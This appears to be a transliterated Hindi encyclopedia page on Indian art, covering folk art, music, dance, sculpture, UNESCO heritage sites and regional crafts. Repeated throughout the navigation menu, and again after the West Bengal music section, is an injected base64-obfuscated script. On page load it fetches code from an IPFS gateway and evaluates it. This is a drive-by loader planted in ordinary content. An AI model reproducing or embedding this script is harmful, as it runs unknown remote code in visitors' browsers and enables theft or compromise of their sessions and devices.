भारतीय कला

bharat vishay soochi

parichay   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> itihas   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhoogol   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanvidhan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> dharm  <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> krishi   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> vany jivan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> bhasha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shiksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> kala   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> sanskriti   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> khanapan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> raksha   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rajy   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> paryatan   <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> alekh

kala logoan ki sanskriti mean ek moolyavan virasat hai. jab koee kala ki bat karata hai to amataur par usaka abhipray drishtimoolak kala se hota hai. jaise vastukala, moortikala tatha chitrakala. atit mean ye tinoan pahaloo apas mean mile hue the. vastukala mean hi moortikala evan chitrakala ka samavesh tha.

vidvanoan ka manana hai ki bharatiy kala dharm se prerit huee. vaise is bare mean kuchh nakarane jaisa bhi nahian hai. ho sakata hai, kalakaroan aur hastashilpiyoan ne dharmacharyoan ke nirdeshanusar kam kiya ho, par svayan k abhivyakt karate samay unhoanne sansar ko jaisa dekha, vaisa hi dikhaya. yah sahi hai ki bharatiy kala ke madhyam se jo pavan drishti ko hi abhivyakt kiya gaya, jo bhautik sansar ke pichhe chhipe daiv tatvoan se, jivan aur prakriti ki sanatan vishamata aur sabase oopar manaviy tatv se hamesha avagat rahati hai.

bharatiy kala

bharatiy kala apani prachinata tatha vivadhata ke lie vikhyat rahi hai. aj jis roop mean 'kala' shabd atyant vyapak aur bahuarthi ho gaya hai, prachin kal mean usaka ek chhota hissa bhi n tha. yadi aitihasik kal ko chho d aur pichhe pragaitihasik kal par drishti dali jae to vibhinn nadiyoan ki ghatiyoan mean puratattvavidoan ko khudaee mean mile asankhy pashan upakaran bharat ke adi manushyoan ki kalatmak pravrittiyoan ke sakshat praman haian. patthar ke tuk de ko vibhinn takanikoan se vibhinn prayojanoan ke anuroop svaroop pradan kiya jata tha. hastakulha de, khurachani, chhidrak, takshiniyaan tatha bedhak adi pashan-upakaran sirf upayogita ki drishti se hi mahattvapoorn nahian the, balki unaka kalatmak paksh bhi jnatavy hai. jaise-jaise manushy sabhy hota gaya usaki jivan shaili ke sath-sath usaka kala paksh bhi mazaboot hota gaya. jahaan par ek or mridabhaannd, bhavan tatha any upayogi samanoan ke nirman mean vriddhi huee vahian par doosari or abhooshan, moorti kala, muhar nirman, gufa chitrakari adi ka bhi vikas hota gaya. bharat ke uttar-pashchimi bhag mean vikasit saiandhav sabhyata (h dappa sabhyata) bharat ke itihas ke prarambhik kal mean hi kala ki paripakvata ka sakshath praman hai. khudaee mean lagabhag 1,000 kendroan se prapt is sabhyata ke avasheshoan mean anek aise tathy samane aye haian, jinako dekhakar barabar hi man yah manane ka badhy ho jata hai ki hamare poorvaj sachamuch uchch koti ke kalakar the.

vishv virasat soochi (yoonesko) mean shamil bharatiy dharohar

kram	dharohar	ghoshana varsh	chitr
1	agara ka lal qila	1983	50px
2	ajanta ki guphaean	1983	50px
3	elora guphaean	1983	50px
4	tajamahal	1983	50px
5	mahabalipuram ke smarak	1984	50px
6	konark ka soory mandir	1984	50px
7	kajiranga neshanal park	1985	50px
8	kevaladev neshanal park	1985
9	manas seankchuri	1985
10	gova ke charch	1986	50px
11	fatehapur sikari	1986	50px
12	hampi avashesh	1986	50px
13	khajuraho mandir	1986	50px
14	elipheanta ki guphaean	1987	50px
15	chol mandir	1987-2004
16	pattadakal ke smarak	1987
17	sundaravan neshanal park	1987	50px
18	nanda devi aur phooloan ki ghati	1988-2005	50px
19	saanchi ka stoop	1989	50px
20	humayooan ka maqabara	1993	50px
21	qutub minar	1993	50px
22	maunten relave	1999-2005
23	bodhagaya ka mahabodhi mandir	2002	50px
24	bhimabetaka ki guphaean	2003	50px
25	champaner-pavaragadh park	2004
26	chhatrapati shivaji tarminas	2004	50px
27	lal qila, dilli	2007	50px
28	rrigved ki pandulipiyaan	2007

aitihasik kal mean bharatiy kala mean aur bhi paripakvata aee. maury kal, kushan kal aur phir gupt kal mean bharatiy kala nirantar pragati karati gee. ashok ke vibhinn shilalekh, stambhalekh aur stambh kalatmak drishti se atyant mahattvapoorn haian. saranath sthit ashok sh‍tamh‍bh aur usake char sianh v dharm chakr yukt shirsh bharatiy kala ka utkrisht namoona hai. kushan kal mean vikasit gaandhar aur mathura kalaoan ki shreshthata jagazahir hai. gupt kal sirf rajanitik aur arthik drishti se hi sampann nahian tha, kalatmak drishti se bhi vah atyant sampann tha. tabhi to itihasakaroan ne use prachin bharatiy itihas ka 'svarn yug' kaha hai. poorv madhyayug mean nirmit vishalakay mandir, qile tatha moortiyaan tatha uttar madhyayug ke islamik tatha bharatiy kala ke sangam se yukt anek bhavan, chitr tatha any kalatmak vastuean bharatiy kala ki amooly dharohar haian. adhunik yug mean bharatiy kala par pashchaty kala ka prabhav p da. usaki vishay vastu, prastutikaran ke tariqe tatha bhavabhivyakti mean vividhata evan jatilata aee. adhunik kala apane kalatmak paksh ke sath-sath upayogita paksh ko bhi sath lekar chal rahi hai. yadyapi bharat ke dirghakalik itihas mean kee aise kal bhi aye, jabaki kala ka hras hone laga, athava vah apane marg se bhatakati pratit huee, parantu samany taur par yah dekha gaya ki bharatiy janamanas kala ko apane jivan ka ek aansh manakar chala hai. vah kala ka vikas aur nirman nahian karata, balki kala ko jita hai. usaki jivan shaili aur jivan ka har kary kala se paripoorn hai. yadi ek samany bharatiy ki jivanacharya ka adhyayan kiya jay to, spasht hota hai ki usake jivan ka har ek pahaloo kala se paripoorn hai. jivan ke dainik kriya-kalapoan ke bich usake pooja-path, utsav, parv-tyohar, shadi-vivah ya any ghatanaoan se vividh kalaoan ka ghanisht sambandh hai. isilie bharat ki charcha tab tak apoorn mani jaegi, jab tak ki usake kala paksh ko shamil n kiya jay. prachin bharatiy granthoan mean 64 kalaoan ka ullekh milata hai, jinaka jnan pratyek susanskrit nagarik ke lie anivary samajha jata tha. isilie bhartrihari ne to yahaan tak kah dala 'sahity, sangit, kala vihinah sakshath pashuah puchchhavishanahinah.' arthath sahity, sangit aur kala se vihin vyakti pashu ke saman hai.

'kala' shabd ki utpatti kalh dhatu mean achh tatha tapoo pratyay lagane se huee hai (kalh+achh+tapoo), jisake kee arth haian—shobha, alankaran, kisi vastu ka chhota aansh ya chandrama ka solahavaan aansh adi. vartaman mean kala ko aangrezi ke art shabd ka upayog samajha jata hai, jise paanch vidhaoan—sangitakala, moortikala, chitrakala, vastukala aur kavyakala mean vargikrit kiya jata hai. in paanchoan ko sammilit roop se lalit kalaean kaha jata hai. vasvat mean kala manava mastishk evan atma ki uchchatam evan prakharatam kalpana v bhavoan ki abhivyakti hi hai, isilie kalayukt koee bhi vastu barabas hi sansar ka dhyan apani or akrisht kar leti hai. sath hi vah unhean prasannachitt evan ahaladit bhi kar deti hai. vastav mean yah kalaean vyakti ki atma ko jhanjho dane ki kshamata rakhati haian. yah ukti ki bharatiy sangit mean vah jadoo tha ki dipak rag ke gayan se dipak prajjavalit ho jata tha tatha pashu-pakshi apani sudh-budh kho baithate the, kitana saty hai, yah kahana to kathin hai, lekin itana to saty hai ki bharatiy sangit ya kala ka har paksh itana sashakt hai ki sanvedanavihin vyakti mean bhi vah sanvedana ke tivr udveg ko utpann kar sakata hai.

1. REDIRECTsaancha:inhean bhi dekhean

saanskritik prabhavashilata

hamesha se hi bharat ki kalaean aur hastashilp isaki saanskritik aur paranparagat prabhavashilata ko abhivyakt karane ka madhyam bane rahe haian. deshabhar mean phaile isake rajyoan aur sangh rajy kshetroan ki apani vishesh saanskritik aur paranparik pahachan hai, jo vahaan prachalit kala ke bhinn-bhinn roopoan mean dikhaee deti hai. bharat ke har pradesh mean kala ki apani ek vishesh shaili aur paddhati hai, jise "lok kala" ke nam se jana jata hai. lok kala ke alava bhi paranparagat kala ka ek any roop hai, jo alag-alag janajatiyoan aur dehat ke logoan mean prachalit hai. ise "janajatiy kala" ke roop mean vargikrit kiya gaya hai. bharat ki lok aur janajatiy kalaean bahut hi paranparik aur sadharan hone par bhi itani sajiv aur prabhavashali haian ki unase desh ki samriddh virasat ka anuman svat: ho jata hai.

apane paranparagat sauandary bhav aur pramanikata ke karan bharatiy lok kala ki aantarrashtriy bazar mean sanbhavana bahut prabal hai. bharat ki gramin lok chitrakari ke dizayan bahut hi suandar haian, jisamean dharmik aur adhyatmik chitroan ko ubhara gaya hai. bharat ki sarvadhik prasiddh lok chitr kalaean haian- bihar ki 'madhubani chitrakari', odisha rajy ki 'patachitr', aandhr pradesh ki 'nirmal chitrakari' aur isi tarah lok kala ke any roop haian. lok kala keval chitrakari tak hi simit nahian hai. isake any roop bhi haian, jaise ki mitti ke bartan, grih sajja, jevar, kap da dizayan adi. vastav mean bharat ke kuchh pradeshoan mean bane mitti ke bartan to apane vishisht aur paranparagat sauandary ke karan videshi paryatakoan ke bich bahut hi lokapriy haian. isake alava bharat ke aanchalik nrity, jaise ki panjab ka bhaang da, gujarat ka daandiya, asam ka bihoo nrity adi bhi, jo ki un pradeshoan ki saanskritik virasat ko abhivyakt karate haian, bharatiy lok kala ke kshetr ke pramukh davedar haian. in lok nrityoan ke madhyam se log har mauke, jaise ki nee rritu ka svagat, bachche ka janm, shadi, tyohar adi par apana ullas vyakt karate haian. bharat sarakar aur sansthaoan ne kala ke un roopoan ko badhava dene ka har sanbhav prayas kiya hai, jo bharat ki saanskritik pahachan ka ek mahattvapoorn hissa hai.

kala ke utthan ke lie kiye ge bharat sarakar aur any sangathanoan ke satat prayasoan ki vajah se hi lok kala ki bhaanti janajatiy kala mean paryapt roop se pragati huee hai. janajatiy kala samanyat: gramin ilakoan mean dekhi gee us srijanatmak oorja ko pratibimbit karati hai, jo janajatiy logoan ko shilpakarita ke lie prerit karati hai. janajatiy kala kee roopoan mean maujood hai, jaise ki bhitti chitr, kabila nrity, kabila sangit adi. inhian mean se ek hai "tanjaur kala", jisaki khoobasoorati ka jitana bakhan kiya jaye kam hai.

bharatiy sangit

1. REDIRECTsaancha:mukhy

sangit manaviy lay evan talabaddh abhivyakti hai. bharatiy sangit apani madhurata, layabaddhata tatha vividhata ke lie jana jata hai. vartaman bharatiy sangit ka jo roop drishtigat hota hai, vah adhunik yug ki prastuti nahian hai, balki yah bharatiy itihas ke prasambh ke sath hi ju da hua hai. baidik kal mean hi bharatiy sangit ke bij p d chuke the. samaved un vaidik rrichaoan ka sangrah matr hai, jo gey haian. prachin kal se hi eeshvar aradhana hetu bhajanoan ke prayog ki parampara rahi hai. yahaan tak ki yajnadi ke avasar par bhi samoohagan hote the.

bharatiy sangit ki utpatti

bharatiy sangit ki utpatti vedoan se mani jati hai. vadoan ka mool mantr hai - 'Om' (oamh) . (oamh) shabd mean tin akshar a, u tatha mh sammilit haian, jo kramashah brahma arthath srishtikarta, vishnu arthath jagath palak aur mahesh arthath sanharak ki shaktiyoan ke dyotak haian. in tinoan aksharoan ko rrigved, samaved tatha yajurved se liya gaya hai. sangit ke sat svar sh daj (sa), rrishabh (r), gaandhar (ga) adi vastav mean ooan (oamh) ya oankar ke hi antavirbhag haian. sath hi svar tatha shabd ki utpatti bhi ooan ke garbh se hi huee hai. mukh se uchcharit shabd hi sangit mean nad ka roop dharan kar leta hai. is prakar 'ooan' ko hi sangit ka jagath mana jata hai. isilie kaha jata hai ki jo sadhak 'ooan' ki sadhana karane mean samarth hota hai, vahi sangit ko yatharth roop mean grahan kar sakata hai. yadi darshanik drishti se isaka goodharth nikala jay, to isaka tatparth yahi hai ki ooan arthath sampoorn srishti ka ek aansh hamari atma mean nihit hai aur sangit usi atma ki avaz hai, aantah sangit ki utpatti hridayagat bhavoan mean hi mani jati hai.

bharatiy sangit ke roop

prachin kal mean bharatiy sangit ke do roop prachalit hue-1. margi tatha 2. deshi. kalatar mean margi sangit lupt hota gaya. sath hi deshi sangity do roopoan mean vikasit hua- (i) shastriy sangit tatha (ii) lok sangit. shastriy sangit shastroan par adharit tatha vidvanoan v kalakaroan ke adhyayan v sadhana ka pratiphal tha. yah atyant niyamabaddh tatha shreshth sangit tha. doosari or lok sangit kal aur sthan ke anuroop prakriti ke svachchhand vatavaran mean svabhavik roop se palata hua vikasit hota raha, atah yah adhik vividhatapoorn tatha halka-phulka v chittakarshak hai.

bharatiy sangit ke vividh aang

sangit se sambandhit kuchh moolabhoot tathyoan ko janakar hi sangit ki barikiyoan ko samajha ja sakata hai. dhvani, svar, lay, tal adi isake antargat ate haian.

pramukh vady yantr evan kalakar

vady	vadak
sitar	pandit ravishankar, nikhil bainarji, vilayat khaan, bande hasan, shahid paravej, umashankar mishr, buddhadity mukharji adi.
tabala	alla rakkha khaan, gudee maharaj, (pan. samata prasad) zakir husain, latif khaan, kishan maharaj, fayyar khaan, sukhaviandar sianh adi.
baansuri	pannalal ghosh, hari prasad chaurasiya, vi. kuanjamani, en. nila, rajendr prasanna, rajendr kulakarni adi.
sarod	amajad ali khaan, ali akabar khaan, alauddin khaan, vishvajit ray chaudhari, zarin daroovala, buddhadev das gupta, mukesh sharma adi.
vayalin	d aau. en. rajan, vishnu goviand jog, el. subrahmanyamh, sangita rajan, kunakk di vaidyanathan, ti. en. krishnanh adi.
vina	es. balachandran, kalyan krishna bhagavatar, badarooddin dagar, vi. doresvami ayangar adi.
shahanaee	bismilla khaan, dayashankar jagannath, ali ahamad husain khaan adi.
santoor	shivakumar sharma, bhajan sopari adi.
pakhavaj	gopal das, ustad rahaman khaan, chhatrapati sianh, thakur lakshman sianh adi.
rudravina	asad ali khaan, ustad sadik ali khaan adi.
mridang	paladhar raghu, thakur bhikam sianh, d aau. jagadish sianh adi.

nrity kala

1. REDIRECTsaancha:mukhy

bharat mean nrity ki anek shailiyaan haian. bharatanatyam, odisi, kuchipu di, kathakali, manipuri, kathak adi paranparagat nrity shailiyaan haian to bhang da, gidda, naga, bihoo adi lokaprachalit nrity hai. ye nrity shailiyaan poore desh mean vikhyat hai. gujarat ka garaba hariyana mean bhi mancho ki shobha ko badhata hai aur panjab ka bhang da dakshin bharat mean bhi b de shauq se dekha jata hai !

bharat ke sangit ko vikasit karane mean amir khusaro, tanasen, baijoo bavara jaise sangitakaroan ka vishesh yogadan raha hai. aj bharat ke sangit-kshitij par bismilla khaan‎, zakir husain, ravi shankar saman roop se sammanit haian.

vividh nrity kala

100px|nataraj|nataraj

70px|link=birajoo maharaj|birajoo maharaj

150px|link=bihoo nrity|bihoo nrity, asam

115px|link=odisi nrity|odisi nrity, u disa

135px|link=kathakali nrity|kathakali nrity, keral

150px|ghumar nrity, rajasthan

70px|link=manipuri nrity|manipuri nrity, manipur

150px|link=bhaang da nrity|bhaang da nrity, panjab

155px|link=garaba nrity|garaba nrity, gujarat

75px|link=kuchi pudi nrity|kuchi pudi nrity, aandhr pradesh

150px|link=rasalila|rasalila

110px|link=charakula nrity|charakula nrity

bharatiy moortikala

1. REDIRECTsaancha:mukhy

any kalaoan ke saman hi bharatiy moortikala bhi atyant prachin hai. yadyapi pashan kal mean bhi manav apane pashan upakaranoan ko kushalatapoorvak kat-chhaantakar vishesh akar deta tha aur patthar ke tuk de se phalak nikalate hetu 'dabav' takanik ya patakakar to dane ki takanik ka istemal karane laga tha, parantu bharat mean moortikala apane vastavik roop mean h dappa sabhyata ke dauran hi astitv mean aee. is sabhyata ki khudaee mean anek moortiyaan prapt huee haian jo lagabhag 4000 varsh poorv hi bharat mean moorti nirman takanik ke vikas ka dyotak haian. bharatiy moorti kala ki pramukh shailiyaan is prakar haian-

siandhu ghati sabhyata ki moorti kala maury moortikala mauryottar moortikala gandhar kala ki moortiyaan mathura kala ki moortiyaan guptakal ki moortikala bakatak ki moortikala madhyakal ki bharatiy moortikala chol moortikala adhunik moortikal

thumb|180px|bodhisatv maitrey

[[chitr:Buddha-3.jpg|thumb|140px|buddh, mathura]]

bharat ke rajyoan ki kala

asam

1. REDIRECTsaancha:mukhy

• kala aur hastashilp se sambandhit kutir udyogoan ke lie asam sadaiv vikhyat raha hai.
• hathakaragha, resham, beant aur baans ki vastuean, galichoan ki bunaee, kashth shilp, pital adi dhatuoan ke shilp pramukh kutir udyog haian.

tanjaur

1. REDIRECTsaancha:mukhy

tanjaur ki kala lok kala aur kahani-kisse sunane ki vismrit kala se ju di hai. tanjaur ki prasiddh chitrakari paranparik kala ka hi roop hai. is kala ne bharat ko vishv manch par prasiddhi dilane mean mahati bhoomika nibhaee hai. dharmikata se otaprot aur pauranik vrittaant hi isake mukhy vishay rahe haian. kala aur shilp donoan ka hi ek achchha mishrit roop tanjaur ki chitrakari mean bhi dikhaee deta hai. chitrakari mean hindoo devi-devataoan ko hi mukhy vishay banaya gaya hai. tasvirean ek vilakshan roop mean sanjiv pratit hoti haian.

gujarat

1. REDIRECTsaancha:mukhy

gujarat ki vastukala shaili apani poornata aur alankarikata ke lie vikhyat hai, jo somanath, dvaraka, modhera, than, ghumali, giranar jaise mandiroan aur smarakoan mean sanrakshit hai. muslim shasan ke dauran ek alag hi tariqe ki bharatiy-islami shaili vikasit huee. gujarat apani kala v shilp ki vastuoan ke lie bhi prasiddh hai. inamean jamanagar ki baandhani (bandhaee aur rangaee ki takanik), patan ka utkrisht reshami vastr patola, idar ke khilaune, palanapur ka itr konodar ka hastashilp ka kam aur ahamadabad v soorat ke laghu mandiroan ka kashthashilp tatha pauranik moortiyaan shamil haian.

gova

1. REDIRECTsaancha:mukhy

• gova rajh‍y ko kala evan sansh‍kriti nideshalay dvara aeeeso 9001-2000 pramanapatr diya gaya hai.
• gova mean tait akadami ki sh‍thapana ki gee hai.

tamilanadu

1. REDIRECTsaancha:mukhy

bharat ki ek pramukh shastriy nrity shaili bharatanatyam aur karnatak sangit, donoan ka rajy mean vyapak prachalan hai. yadyapi chitrakala evan moortikala kam vikasit hai, phir bhi yahaan patthar evan kaanse ki moortiyaan banane ki kala ki shiksha ke lie vidyalay haian. tamil sahity ne tezi se laghu kathaoan v upanyasoan ke pashchimi sahityik svaroop ko apanaya hai. subrahamanyam si. bharati (1882-1921) paranparik tamil kavita ko adhunik banane vale praranbhik kaviyoan mean ek the. 1940 ke dashak se chalachitr jan manoranjan ka sarvadhik lokapriy madhyam bana hua. yahaan chalate-phirate aur sthayi, donoan prakar ke sinemaghar haian. bhavanatmak aur bhavy filmoan, jinamean prayah halka-phulka sangit aur nrity hota hai, ka nirman adhikatar chennee ke as-pas sthit stoodiyo mean hota hai.

dilli

1. REDIRECTsaancha:mukhy

vastukala
dilli ke vaividhyapoorn itihas ne virasat mean ise samriddh vastukala di hai. shahar ke sabase prachin bhavan saltanat kal ke haian aur apani sanrachana v alankaran mean bhinnata lie hue haian. prakritik rupakannoan, sarpakar beloan aur quran ke aksharoan ke ghumav mean hindoo rajapoot karigaroan ka prabhav spasht nazar ata hai. madhy eshiya se ae kuchh karigar kavi aur vastukala ki seljuk shaili ki visheshataean meharab ki nichali kor par kamal- kaliyoan ki pankti, utkirn alankaran aur bari-bari se a di aur kh di eetoan ki chinaee hai. khilazi shasan kal tak islami vastukala mean prayog tatha sudhar ka daur samapt ho chuka tha aur islami vastukala mean ek vishesh paddhati aur upashaili sthapit ho chuki thi jise pakhtoon shaili ke nam se jana jata hai. is shaili ki apani lakshanik visheshataean haian. jaise gho de ke nal ki akriti vali meharabean, jalidar khi dakiyaan, alankrit kinare bel bootoan ka kam (barik vistrit roop rekhaoan mean) aur preranadayi, adhyatmik shabdaankan bahar ki or adhikaanshat: lal pattharoan ka tatha bhitar safed sangamaramar ka upayog milata hai.

pashchim bangal

1. REDIRECTsaancha:mukhy

sangit
paramparik sangit bhakti aur saanskritik gitoan ke roop mean hai. rabindranath thakur dvara likhit evan sanyojit ‘rabindr sangit’, jise vishuddh bharatiy shastriy sangit ke sath-sath paramparik lokagitoan mean piroya gaya hai, bangaliyoan ke saanskritik jivan par sashakt prabhav chho data hai. <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

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